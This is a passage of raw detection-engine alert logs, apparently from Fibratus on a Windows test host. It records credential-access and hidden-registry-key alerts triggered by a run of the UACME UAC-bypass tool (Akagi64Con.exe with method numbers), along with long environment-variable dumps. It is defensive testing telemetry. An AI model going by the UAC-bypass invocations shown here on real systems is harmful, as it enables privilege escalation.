(x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:08:41+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\WINDOWS\system32\DllHost.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 5722044 + Pid: 1228 + Tid: 8104 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:08:37.9927469 +0100 CET + Params: cmdline➜ C:\WINDOWS\system32\DllHost.exe /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}, directory_table_base➜ 3f6384000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\DllHost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0dd3886080, name➜ dllhost.exe, pid➜ 12440, ppid➜ 1228, real_ppid➜ 1228, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:08:37.9926651 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 12078091498688610304, rule.name: Suspicious Vault client DLL load, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, technique.id: T1555, subtechnique.name: Windows Credential Manager, subtechnique.id: T1555.004, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1228 + Ppid: 1008 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 5731555 + Pid: 12440 + Tid: 7792 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:08:38.8901765 +0100 CET + Params: base_address➜ 7ff9f0340000, cert_issuer➜ US, Washington, Redmond, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-06-17 18:11:44 +0000 UTC, cert_not_before➜ 2025-06-19 18:11:44 +0000 UTC, cert_serial➜ 3300000519daddaa8bdc44b292000000000519, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 356647, default_address➜ 7ff9f0340000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12440, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.name: Credential Access, technique.name: Credentials from Password Stores, rule.seq.link: 12078091498688610304, rule.name: Suspicious Vault client DLL load, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager + + Pid: 12440 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:09:52+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{8E3728F1-9114-474A-8C1D-0515383C6A5A}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 5865443 + Pid: 11748 + Tid: 17636 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:09:50.9322579 +0100 CET + Params: key_handle➜ ffffd60600a8f3c0, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{8E3728F1-9114-474A-8C1D-0515383C6A5A}\, status➜ Success + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112, rule.name: Hidden registry key creation, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005 + + Pid: 11748 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 61 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 61] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:10:20+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{54FF768A-5EFD-40C8-8282-1672FA10C195}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 5934605 + Pid: 14784 + Tid: 17812 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:10:19.276298 +0100 CET + Params: key_handle➜ ffffd605f792bd50, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{54FF768A-5EFD-40C8-8282-1672FA10C195}\, status➜ Success + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, tactic.id: TA0005, rule.name: Hidden registry key creation + + Pid: 14784 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 62 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 62] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 